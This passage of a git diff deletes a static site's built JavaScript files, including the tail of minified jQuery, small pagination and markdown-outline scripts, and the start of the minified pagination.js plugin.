");g=a?m.trim(d):"",c.className!==g&&(c.className=g)}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):this.each(m.isFunction(a)?function(c){m(this).toggleClass(a.call(this,c,this.className,b),b)}:function(){if("string"===c){var b,d=0,e=m(this),f=a.match(E)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else(c===K||"boolean"===c)&&(this.className&&m._data(this,"__className__",this.className),this.className=this.className||a===!1?"":m._data(this,"__className__")||"")})},hasClass:function(a){for(var b=" "+a+" ",c=0,d=this.length;d>c;c++)if(1===this[c].nodeType&&(" "+this[c].className+" ").replace(uc," ").indexOf(b)>=0)return!0;return!1}}),m.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){m.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),m.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,"**"):this.off(b,a||"**",c)}});var vc=m.now(),wc=/\?/,xc=/(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;m.parseJSON=function(b){if(a.JSON&&a.JSON.parse)return a.JSON.parse(b+"");var c,d=null,e=m.trim(b+"");return e&&!m.trim(e.replace(xc,function(a,b,e,f){return c&&b&&(d=0),0===d?a:(c=e||b,d+=!f-!e,"")}))?Function("return "+e)():m.error("Invalid JSON: "+b)},m.parseXML=function(b){var c,d;if(!b||"string"!=typeof b)return null;try{a.DOMParser?(d=new DOMParser,c=d.parseFromString(b,"text/xml")):(c=new ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b))}catch(e){c=void 0}return c&&c.documentElement&&!c.getElementsByTagName("parsererror").length||m.error("Invalid XML: "+b),c};var yc,zc,Ac=/#.*$/,Bc=/([?&])_=[^&]*/,Cc=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Dc=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Ec=/^(?:GET|HEAD)$/,Fc=/^\/\//,Gc=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,Hc={},Ic={},Jc="*/".concat("*");try{zc=location.href}catch(Kc){zc=y.createElement("a"),zc.href="",zc=zc.href}yc=Gc.exec(zc.toLowerCase())||[];function Lc(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(E)||[];if(m.isFunction(c))while(d=f[e++])"+"===d.charAt(0)?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Mc(a,b,c,d){var e={},f=a===Ic;function g(h){var i;return e[h]=!0,m.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Nc(a,b){var c,d,e=m.ajaxSettings.flatOptions||{};for(d in b)void 0!==b[d]&&((e[d]?a:c||(c={}))[d]=b[d]);return c&&m.extend(!0,a,c),a}function Oc(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===e&&(e=a.mimeType||b.getResponseHeader("Content-Type"));if(e)for(g in h)if(h[g]&&h[g].test(e)){i.unshift(g);break}if(i[0]in c)f=i[0];else{for(g in c){if(!i[0]||a.converters[g+" "+i[0]]){f=g;break}d||(d=g)}f=f||d}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function Pc(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}m.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:zc,type:"GET",isLocal:Dc.test(yc[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Jc,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":m.parseJSON,"text xml":m.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Nc(Nc(a,m.ajaxSettings),b):Nc(m.ajaxSettings,a)},ajaxPrefilter:Lc(Hc),ajaxTransport:Lc(Ic),ajax:function(a,b){"object"==typeof a&&(b=a,a=void 0),b=b||{};var c,d,e,f,g,h,i,j,k=m.ajaxSetup({},b),l=k.context||k,n=k.context&&(l.nodeType||l.jquery)?m(l):m.event,o=m.Deferred(),p=m.Callbacks("once memory"),q=k.statusCode||{},r={},s={},t=0,u="canceled",v={readyState:0,getResponseHeader:function(a){var b;if(2===t){if(!j){j={};while(b=Cc.exec(f))j[b[1].toLowerCase()]=b[2]}b=j[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===t?f:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return t||(a=s[c]=s[c]||a,r[a]=b),this},overrideMimeType:function(a){return t||(k.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>t)for(b in a)q[b]=[q[b],a[b]];else v.always(a[v.status]);return this},abort:function(a){var b=a||u;return i&&i.abort(b),x(0,b),this}};if(o.promise(v).complete=p.add,v.success=v.done,v.error=v.fail,k.url=((a||k.url||zc)+"").replace(Ac,"").replace(Fc,yc[1]+"//"),k.type=b.method||b.type||k.method||k.type,k.dataTypes=m.trim(k.dataType||"*").toLowerCase().match(E)||[""],null==k.crossDomain&&(c=Gc.exec(k.url.toLowerCase()),k.crossDomain=!(!c||c[1]===yc[1]&&c[2]===yc[2]&&(c[3]||("http:"===c[1]?"80":"443"))===(yc[3]||("http:"===yc[1]?"80":"443")))),k.data&&k.processData&&"string"!=typeof k.data&&(k.data=m.param(k.data,k.traditional)),Mc(Hc,k,b,v),2===t)return v;h=k.global,h&&0===m.active++&&m.event.trigger("ajaxStart"),k.type=k.type.toUpperCase(),k.hasContent=!Ec.test(k.type),e=k.url,k.hasContent||(k.data&&(e=k.url+=(wc.test(e)?"&":"?")+k.data,delete k.data),k.cache===!1&&(k.url=Bc.test(e)?e.replace(Bc,"$1_="+vc++):e+(wc.test(e)?"&":"?")+"_="+vc++)),k.ifModified&&(m.lastModified[e]&&v.setRequestHeader("If-Modified-Since",m.lastModified[e]),m.etag[e]&&v.setRequestHeader("If-None-Match",m.etag[e])),(k.data&&k.hasContent&&k.contentType!==!1||b.contentType)&&v.setRequestHeader("Content-Type",k.contentType),v.setRequestHeader("Accept",k.dataTypes[0]&&k.accepts[k.dataTypes[0]]?k.accepts[k.dataTypes[0]]+("*"!==k.dataTypes[0]?", "+Jc+"; q=0.01":""):k.accepts["*"]);for(d in k.headers)v.setRequestHeader(d,k.headers[d]);if(k.beforeSend&&(k.beforeSend.call(l,v,k)===!1||2===t))return v.abort();u="abort";for(d in{success:1,error:1,complete:1})v[d](k[d]);if(i=Mc(Ic,k,b,v)){v.readyState=1,h&&n.trigger("ajaxSend",[v,k]),k.async&&k.timeout>0&&(g=setTimeout(function(){v.abort("timeout")},k.timeout));try{t=1,i.send(r,x)}catch(w){if(!(2>t))throw w;x(-1,w)}}else x(-1,"No Transport");function x(a,b,c,d){var j,r,s,u,w,x=b;2!==t&&(t=2,g&&clearTimeout(g),i=void 0,f=d||"",v.readyState=a>0?4:0,j=a>=200&&300>a||304===a,c&&(u=Oc(k,v,c)),u=Pc(k,u,v,j),j?(k.ifModified&&(w=v.getResponseHeader("Last-Modified"),w&&(m.lastModified[e]=w),w=v.getResponseHeader("etag"),w&&(m.etag[e]=w)),204===a||"HEAD"===k.type?x="nocontent":304===a?x="notmodified":(x=u.state,r=u.data,s=u.error,j=!s)):(s=x,(a||!x)&&(x="error",0>a&&(a=0))),v.status=a,v.statusText=(b||x)+"",j?o.resolveWith(l,[r,x,v]):o.rejectWith(l,[v,x,s]),v.statusCode(q),q=void 0,h&&n.trigger(j?"ajaxSuccess":"ajaxError",[v,k,j?r:s]),p.fireWith(l,[v,x]),h&&(n.trigger("ajaxComplete",[v,k]),--m.active||m.event.trigger("ajaxStop")))}return v},getJSON:function(a,b,c){return m.get(a,b,c,"json")},getScript:function(a,b){return m.get(a,void 0,b,"script")}}),m.each(["get","post"],function(a,b){m[b]=function(a,c,d,e){return m.isFunction(c)&&(e=e||d,d=c,c=void 0),m.ajax({url:a,type:b,dataType:e,data:c,success:d})}}),m.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(a,b){m.fn[b]=function(a){return this.on(b,a)}}),m._evalUrl=function(a){return m.ajax({url:a,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})},m.fn.extend({wrapAll:function(a){if(m.isFunction(a))return this.each(function(b){m(this).wrapAll(a.call(this,b))});if(this[0]){var b=m(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&1===a.firstChild.nodeType)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){return this.each(m.isFunction(a)?function(b){m(this).wrapInner(a.call(this,b))}:function(){var b=m(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=m.isFunction(a);return this.each(function(c){m(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){m.nodeName(this,"body")||m(this).replaceWith(this.childNodes)}).end()}}),m.expr.filters.hidden=function(a){return a.offsetWidth<=0&&a.offsetHeight<=0||!k.reliableHiddenOffsets()&&"none"===(a.style&&a.style.display||m.css(a,"display"))},m.expr.filters.visible=function(a){return!m.expr.filters.hidden(a)};var Qc=/%20/g,Rc=/\[\]$/,Sc=/\r?\n/g,Tc=/^(?:submit|button|image|reset|file)$/i,Uc=/^(?:input|select|textarea|keygen)/i;function Vc(a,b,c,d){var e;if(m.isArray(b))m.each(b,function(b,e){c||Rc.test(a)?d(a,e):Vc(a+"["+("object"==typeof e?b:"")+"]",e,c,d)});else if(c||"object"!==m.type(b))d(a,b);else for(e in b)Vc(a+"["+e+"]",b[e],c,d)}m.param=function(a,b){var c,d=[],e=function(a,b){b=m.isFunction(b)?b():null==b?"":b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};if(void 0===b&&(b=m.ajaxSettings&&m.ajaxSettings.traditional),m.isArray(a)||a.jquery&&!m.isPlainObject(a))m.each(a,function(){e(this.name,this.value)});else for(c in a)Vc(c,a[c],b,e);return d.join("&").replace(Qc,"+")},m.fn.extend({serialize:function(){return m.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=m.prop(this,"elements");return a?m.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!m(this).is(":disabled")&&Uc.test(this.nodeName)&&!Tc.test(a)&&(this.checked||!W.test(a))}).map(function(a,b){var c=m(this).val();return null==c?null:m.isArray(c)?m.map(c,function(a){return{name:b.name,value:a.replace(Sc,"\r\n")}}):{name:b.name,value:c.replace(Sc,"\r\n")}}).get()}}),m.ajaxSettings.xhr=void 0!==a.ActiveXObject?function(){return!this.isLocal&&/^(get|post|head|put|delete|options)$/i.test(this.type)&&Zc()||$c()}:Zc;var Wc=0,Xc={},Yc=m.ajaxSettings.xhr();a.ActiveXObject&&m(a).on("unload",function(){for(var a in Xc)Xc[a](void 0,!0)}),k.cors=!!Yc&&"withCredentials"in Yc,Yc=k.ajax=!!Yc,Yc&&m.ajaxTransport(function(a){if(!a.crossDomain||k.cors){var b;return{send:function(c,d){var e,f=a.xhr(),g=++Wc;if(f.open(a.type,a.url,a.async,a.username,a.password),a.xhrFields)for(e in a.xhrFields)f[e]=a.xhrFields[e];a.mimeType&&f.overrideMimeType&&f.overrideMimeType(a.mimeType),a.crossDomain||c["X-Requested-With"]||(c["X-Requested-With"]="XMLHttpRequest");for(e in c)void 0!==c[e]&&f.setRequestHeader(e,c[e]+"");f.send(a.hasContent&&a.data||null),b=function(c,e){var h,i,j;if(b&&(e||4===f.readyState))if(delete Xc[g],b=void 0,f.onreadystatechange=m.noop,e)4!==f.readyState&&f.abort();else{j={},h=f.status,"string"==typeof f.responseText&&(j.text=f.responseText);try{i=f.statusText}catch(k){i=""}h||!a.isLocal||a.crossDomain?1223===h&&(h=204):h=j.text?200:404}j&&d(h,i,j,f.getAllResponseHeaders())},a.async?4===f.readyState?setTimeout(b):f.onreadystatechange=Xc[g]=b:b()},abort:function(){b&&b(void 0,!0)}}}});function Zc(){try{return new a.XMLHttpRequest}catch(b){}}function $c(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}m.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(a){return m.globalEval(a),a}}}),m.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),m.ajaxTransport("script",function(a){if(a.crossDomain){var b,c=y.head||m("head")[0]||y.documentElement;return{send:function(d,e){b=y.createElement("script"),b.async=!0,a.scriptCharset&&(b.charset=a.scriptCharset),b.src=a.url,b.onload=b.onreadystatechange=function(a,c){(c||!b.readyState||/loaded|complete/.test(b.readyState))&&(b.onload=b.onreadystatechange=null,b.parentNode&&b.parentNode.removeChild(b),b=null,c||e(200,"success"))},c.insertBefore(b,c.firstChild)},abort:function(){b&&b.onload(void 0,!0)}}}});var _c=[],ad=/(=)\?(?=&|$)|\?\?/;m.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=_c.pop()||m.expando+"_"+vc++;return this[a]=!0,a}}),m.ajaxPrefilter("json jsonp",function(b,c,d){var e,f,g,h=b.jsonp!==!1&&(ad.test(b.url)?"url":"string"==typeof b.data&&!(b.contentType||"").indexOf("application/x-www-form-urlencoded")&&ad.test(b.data)&&"data");return h||"jsonp"===b.dataTypes[0]?(e=b.jsonpCallback=m.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h?b[h]=b[h].replace(ad,"$1"+e):b.jsonp!==!1&&(b.url+=(wc.test(b.url)?"&":"?")+b.jsonp+"="+e),b.converters["script json"]=function(){return g||m.error(e+" was not called"),g[0]},b.dataTypes[0]="json",f=a[e],a[e]=function(){g=arguments},d.always(function(){a[e]=f,b[e]&&(b.jsonpCallback=c.jsonpCallback,_c.push(e)),g&&m.isFunction(f)&&f(g[0]),g=f=void 0}),"script"):void 0}),m.parseHTML=function(a,b,c){if(!a||"string"!=typeof a)return null;"boolean"==typeof b&&(c=b,b=!1),b=b||y;var d=u.exec(a),e=!c&&[];return d?[b.createElement(d[1])]:(d=m.buildFragment([a],b,e),e&&e.length&&m(e).remove(),m.merge([],d.childNodes))};var bd=m.fn.load;m.fn.load=function(a,b,c){if("string"!=typeof a&&bd)return bd.apply(this,arguments);var d,e,f,g=this,h=a.indexOf(" ");return h>=0&&(d=m.trim(a.slice(h,a.length)),a=a.slice(0,h)),m.isFunction(b)?(c=b,b=void 0):b&&"object"==typeof b&&(f="POST"),g.length>0&&m.ajax({url:a,type:f,dataType:"html",data:b}).done(function(a){e=arguments,g.html(d?m("").append(m.parseHTML(a)).find(d):a)}).complete(c&&function(a,b){g.each(c,e||[a.responseText,b,a])}),this},m.expr.filters.animated=function(a){return m.grep(m.timers,function(b){return a===b.elem}).length};var cd=a.document.documentElement;function dd(a){return m.isWindow(a)?a:9===a.nodeType?a.defaultView||a.parentWindow:!1}m.offset={setOffset:function(a,b,c){var d,e,f,g,h,i,j,k=m.css(a,"position"),l=m(a),n={};"static"===k&&(a.style.position="relative"),h=l.offset(),f=m.css(a,"top"),i=m.css(a,"left"),j=("absolute"===k||"fixed"===k)&&m.inArray("auto",[f,i])>-1,j?(d=l.position(),g=d.top,e=d.left):(g=parseFloat(f)||0,e=parseFloat(i)||0),m.isFunction(b)&&(b=b.call(a,c,h)),null!=b.top&&(n.top=b.top-h.top+g),null!=b.left&&(n.left=b.left-h.left+e),"using"in b?b.using.call(a,n):l.css(n)}},m.fn.extend({offset:function(a){if(arguments.length)return void 0===a?this:this.each(function(b){m.offset.setOffset(this,a,b)});var b,c,d={top:0,left:0},e=this[0],f=e&&e.ownerDocument;if(f)return b=f.documentElement,m.contains(b,e)?(typeof e.getBoundingClientRect!==K&&(d=e.getBoundingClientRect()),c=dd(f),{top:d.top+(c.pageYOffset||b.scrollTop)-(b.clientTop||0),left:d.left+(c.pageXOffset||b.scrollLeft)-(b.clientLeft||0)}):d},position:function(){if(this[0]){var a,b,c={top:0,left:0},d=this[0];return"fixed"===m.css(d,"position")?b=d.getBoundingClientRect():(a=this.offsetParent(),b=this.offset(),m.nodeName(a[0],"html")||(c=a.offset()),c.top+=m.css(a[0],"borderTopWidth",!0),c.left+=m.css(a[0],"borderLeftWidth",!0)),{top:b.top-c.top-m.css(d,"marginTop",!0),left:b.left-c.left-m.css(d,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||cd;while(a&&!m.nodeName(a,"html")&&"static"===m.css(a,"position"))a=a.offsetParent;return a||cd})}}),m.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,b){var c=/Y/.test(b);m.fn[a]=function(d){return V(this,function(a,d,e){var f=dd(a);return void 0===e?f?b in f?f[b]:f.document.documentElement[d]:a[d]:void(f?f.scrollTo(c?m(f).scrollLeft():e,c?e:m(f).scrollTop()):a[d]=e)},a,d,arguments.length,null)}}),m.each(["top","left"],function(a,b){m.cssHooks[b]=Lb(k.pixelPosition,function(a,c){return c?(c=Jb(a,b),Hb.test(c)?m(a).position()[b]+"px":c):void 0})}),m.each({Height:"height",Width:"width"},function(a,b){m.each({padding:"inner"+a,content:b,"":"outer"+a},function(c,d){m.fn[d]=function(d,e){var f=arguments.length&&(c||"boolean"!=typeof d),g=c||(d===!0||e===!0?"margin":"border");return V(this,function(b,c,d){var e;return m.isWindow(b)?b.document.documentElement["client"+a]:9===b.nodeType?(e=b.documentElement,Math.max(b.body["scroll"+a],e["scroll"+a],b.body["offset"+a],e["offset"+a],e["client"+a])):void 0===d?m.css(b,c,g):m.style(b,c,d,g)},b,f?d:void 0,f,null)}})}),m.fn.size=function(){return this.length},m.fn.andSelf=m.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return m});var ed=a.jQuery,fd=a.$;return m.noConflict=function(b){return a.$===m&&(a.$=fd),b&&a.jQuery===m&&(a.jQuery=ed),m},typeof b===K&&(a.jQuery=a.$=m),m});
-//# sourceMappingURL=jquery.min.map
\ No newline at end of file
diff --git a/_site/javascripts/listAndPagi.js b/_site/javascripts/listAndPagi.js
deleted file mode 100755
index 2e2ffeb..0000000
--- a/_site/javascripts/listAndPagi.js
+++ /dev/null
@@ -1,38 +0,0 @@
-$('document').ready(function() {
- generatePagi();
-
- $('#filterList li').click(function(e) {
- var show = $(this).data('show');
-
- $('.showcase:visible')
- .removeClass('current')
- .addClass('hide');
- $('.showcase').filter('[data-show=' + show + ']')
- .removeClass('hide')
- .addClass('current');
-
- $('#filterList li.current').removeClass('current');
- $('#filterList li[data-show=' + show + ']').addClass('current');
-
- generatePagi();
-
- });
-
- function generatePagi() {
- var dataSource = $.makeArray($('.showcase.current article'));
- if(!dataSource.length) {
- return false;
- }
-
- $('.showcase.current #paginator').pagination({
- dataSource: dataSource,
- pageSize: 7,
- callback: function(data, pagination) {
- $(dataSource).hide();
- $(data).show();
- }
- });
-
- }
-
-});
\ No newline at end of file
diff --git a/_site/javascripts/markdownreader.js b/_site/javascripts/markdownreader.js
deleted file mode 100755
index db4291c..0000000
--- a/_site/javascripts/markdownreader.js
+++ /dev/null
@@ -1,55 +0,0 @@
-(function(document) {
-
- function updateOutline() {
- var arrAllHeader = document.querySelectorAll("#markdown-container h1,#markdown-container h2,#markdown-container h3,#markdown-container h4,#markdown-container h5,#markdown-container h6");
- var arrOutline = ['
'];
- var header, headerText;
- var id = 0;
- var level = 0,
- lastLevel = 1;
- var levelCount = 0;
- for (var i = 0, c = arrAllHeader.length; i < c; i++) {
- header = arrAllHeader[i];
- headerText = header.innerText;
-
- header.setAttribute('id', id);
-
- level = header.tagName.match(/^h(\d)$/i)[1];
- levelCount = level - lastLevel;
-
- if (levelCount > 0) {
- for (var j = 0; j < levelCount; j++) {
- arrOutline.push('');
- }
- } else if (levelCount < 0) {
- levelCount *= -1;
- for (var j = 0; j < levelCount; j++) {
- arrOutline.push(' ');
- }
- };
- arrOutline.push('');
- arrOutline.push('' + headerText + ' ');
- arrOutline.push(' ');
- lastLevel = level;
- id++;
- }
- arrOutline.push(' ')
- var outline = document.getElementById('markdown-outline');
- if(arrOutline.length > 2){
- outline.innerHTML = arrOutline.join('');
- showOutline();
- }
- else outline.style.display = 'none';
- }
-
- function showOutline() {
- var outline = document.getElementById('markdown-outline');
- var markdownContainer = document.getElementById('markdown-container');
- // outline.style.left = markdownContainer.offsetLeft + markdownContainer.offsetWidth + 10 + 'px';
- outline.style.maxHeight = document.body.clientHeight - 30;
- outline.style.display = 'block';
- }
-
- updateOutline();
-
-}(document));
diff --git a/_site/javascripts/markdownreader_bare.js b/_site/javascripts/markdownreader_bare.js
deleted file mode 100644
index 0bcf052..0000000
--- a/_site/javascripts/markdownreader_bare.js
+++ /dev/null
@@ -1,55 +0,0 @@
-(function(document) {
-
- function updateOutline() {
- var arrAllHeader = document.querySelectorAll("h1,h2,h3,h4,h5,h6");
- var arrOutline = ['
'];
- var header, headerText;
- var id = 0;
- var level = 0,
- lastLevel = 1;
- var levelCount = 0;
- for (var i = 0, c = arrAllHeader.length; i < c; i++) {
- header = arrAllHeader[i];
- headerText = header.innerText;
-
- header.setAttribute('id', id);
-
- level = header.tagName.match(/^h(\d)$/i)[1];
- levelCount = level - lastLevel;
-
- if (levelCount > 0) {
- for (var j = 0; j < levelCount; j++) {
- arrOutline.push('');
- }
- } else if (levelCount < 0) {
- levelCount *= -1;
- for (var j = 0; j < levelCount; j++) {
- arrOutline.push(' ');
- }
- };
- arrOutline.push('');
- arrOutline.push('' + headerText + ' ');
- arrOutline.push(' ');
- lastLevel = level;
- id++;
- }
- arrOutline.push(' ')
- var outline = document.getElementById('markdown-outline');
- if(arrOutline.length > 2){
- outline.innerHTML = arrOutline.join('');
- showOutline();
- }
- else outline.style.display = 'none';
- }
-
- function showOutline() {
- var outline = document.getElementById('markdown-outline');
- var markdownContainer = document.getElementById('markdown-container');
- outline.style.left = markdownContainer.offsetLeft + markdownContainer.offsetWidth + 10 + 'px';
- outline.style.maxHeight = document.body.clientHeight - 30;
- outline.style.display = 'block';
- }
-
- updateOutline();
-
-}(document));
diff --git a/_site/javascripts/pagination.js b/_site/javascripts/pagination.js
deleted file mode 100755
index b690f55..0000000
--- a/_site/javascripts/pagination.js
+++ /dev/null
@@ -1,11 +0,0 @@
-/*
- * pagination.js 2.0.5
- * A jQuery plugin to provide simple yet fully customisable pagination
- * https://github.com/superRaytin/paginationjs
-
- * Homepage: http://paginationjs.com
- *
- * Copyright 2014-2100, superRaytin
- * Released under the MIT license.
-*/
-!function(a,b){function c(a){throw new Error("Pagination: "+a)}function d(a){a.dataSource||c('"dataSource" is required.'),"string"==typeof a.dataSource?"undefined"==typeof a.totalNumber?c('"totalNumber" is required.'):b.isNumeric(a.totalNumber)||c('"totalNumber" is incorrect. (Number)'):i.isObject(a.dataSource)&&("undefined"==typeof a.locator?c('"dataSource" is a Object, please specify "locator".'):"string"==typeof a.locator||b.isFunction(a.locator)||c(""+a.locator+" is incorrect. (String | Function)"))}function e(a){var b;return("object"==(b=typeof a)?null==a&&"null"||Object.prototype.toString.call(a).slice(8,-1):b).toLowerCase()}"undefined"==typeof b&&c("Pagination requires jQuery.");var f="pagination",g="addHook",h="__pagination-";b.fn.pagination&&(f="pagination2"),b.fn[f]=function(e){if("undefined"==typeof e)return this;var f=b(this),g={initialize:function(){var a=this;if(f.data("pagination")||f.data("pagination",{}),a.callHook("beforeInit")!==!1){f.data("pagination").initialized&&b(".paginationjs",f).remove();var c=a.model={pageRange:k.pageRange,pageSize:k.pageSize};a.parseDataSource(k.dataSource,function(b){if(a.sync=i.isArray(b),a.sync&&(c.totalNumber=k.totalNumber=b.length),c.totalPage=a.getTotalPage(),!(k.hideWhenLessThanOnePage&&c.totalPage<=1)){var d=a.render(!0);k.className&&d.addClass(k.className),c.el=d,f["bottom"===k.position?"append":"prepend"](d),a.observer(),f.data("pagination").initialized=!0,a.callHook("afterInit",d)}})}},render:function(a){var c=this,d=c.model,e=d.el||b(''),f=a!==!0;c.callHook("beforeRender",f);var g=d.pageNumber||k.pageNumber,h=k.pageRange,i=d.totalPage,j=g-h,l=g+h;return l>i&&(l=i,j=i-2*h,j=1>j?1:j),1>=j&&(j=1,l=Math.min(2*h+1,i)),e.html(c.createTemplate({currentPage:g,pageRange:h,totalPage:i,rangeStart:j,rangeEnd:l})),c.callHook("afterRender",f),e},createTemplate:function(a){var c,d,e=this,f=a.currentPage,g=a.totalPage,h=a.rangeStart,i=a.rangeEnd,j=k.totalNumber,l=k.showPrevious,m=k.showNext,n=k.showPageNumbers,o=k.showNavigator,p=k.showGoInput,q=k.showGoButton,r=k.pageLink,s=k.prevText,t=k.nextText,u=k.ellipsisText,v=k.goButtonText,w=k.classPrefix,x=k.activeClassName,y=k.disableClassName,z=k.ulClassName,A=b.isFunction(k.formatNavigator)?k.formatNavigator():k.formatNavigator,B=b.isFunction(k.formatGoInput)?k.formatGoInput():k.formatGoInput,C=b.isFunction(k.formatGoButton)?k.formatGoButton():k.formatGoButton,D=b.isFunction(k.autoHidePrevious)?k.autoHidePrevious():k.autoHidePrevious,E=b.isFunction(k.autoHideNext)?k.autoHideNext():k.autoHideNext,F=b.isFunction(k.header)?k.header():k.header,G=b.isFunction(k.footer)?k.footer():k.footer,H="",I='',J='';if(F&&(c=e.replaceVariables(F,{currentPage:f,totalPage:g,totalNumber:j}),H+=c),l||n||m){if(H+='"}return o&&A&&(c=e.replaceVariables(A,{currentPage:f,totalPage:g,totalNumber:j}),H+='"),p&&B&&(c=e.replaceVariables(B,{currentPage:f,totalPage:g,totalNumber:j,input:I}),H+='
'+c+"
"),q&&C&&(c=e.replaceVariables(C,{currentPage:f,totalPage:g,totalNumber:j,button:J}),H+='
'+c+"
"),G&&(c=e.replaceVariables(G,{currentPage:f,totalPage:g,totalNumber:j}),H+=c),H},go:function(a,c){function d(a){if(g.direction="undefined"==typeof g.pageNumber?0:h>g.pageNumber?1:-1,g.pageNumber=h,e.render(),e.disabled&&!e.sync&&e.enable(),f.data("pagination").model=g,b.isFunction(k.formatResult)){var d=b.extend(!0,[],a);i.isArray(a=k.formatResult(d))||(a=d)}f.data("pagination").currentPageData=a,e.callHook("beforePaging"),e.doCallback(a,c),e.callHook("afterPaging"),1==h&&e.callHook("afterIsFirstPage"),h==g.totalPage&&e.callHook("afterIsLastPage")}var e=this,g=e.model;if(!e.disabled){var h=a,j=k.pageSize,l=g.totalPage;if(h=parseInt(h),!(!h||1>h||h>l)){if(e.sync)return void d(e.getDataSegment(h));var m={},n=k.alias||{};m[n.pageSize?n.pageSize:"pageSize"]=j,m[n.pageNumber?n.pageNumber:"pageNumber"]=h;var o={type:"get",cache:!1,data:{},contentType:"application/x-www-form-urlencoded; charset=UTF-8",dataType:"json",async:!0};b.extend(!0,o,k.ajax),b.extend(o.data||{},m),o.url=k.dataSource,o.success=function(a){d(e.filterDataByLocator(a))},o.error=function(a,b,c){k.formatAjaxError&&k.formatAjaxError(a,b,c),e.enable()},e.disable(),b.ajax(o)}}},doCallback:function(a,c){var d=this,e=d.model;b.isFunction(c)?c(a,e):b.isFunction(k.callback)&&k.callback(a,e)},destroy:function(){this.callHook("beforeDestroy")!==!1&&(this.model.el.remove(),f.off(),b("#paginationjs-style").remove(),this.callHook("afterDestroy"))},previous:function(a){this.go(this.model.pageNumber-1,a)},next:function(a){this.go(this.model.pageNumber+1,a)},disable:function(){var a=this,b=a.sync?"sync":"async";a.callHook("beforeDisable",b)!==!1&&(a.disabled=!0,a.model.disabled=!0,a.callHook("afterDisable",b))},enable:function(){var a=this,b=a.sync?"sync":"async";a.callHook("beforeEnable",b)!==!1&&(a.disabled=!1,a.model.disabled=!1,a.callHook("afterEnable",b))},show:function(){var a=this;a.model.el.is(":visible")||a.model.el.show()},hide:function(){var a=this;a.model.el.is(":visible")&&a.model.el.hide()},replaceVariables:function(a,b){var c;for(var d in b){var e=b[d],f=new RegExp("<%=\\s*"+d+"\\s*%>","img");c=(c||a).replace(f,e)}return c},getDataSegment:function(a){var 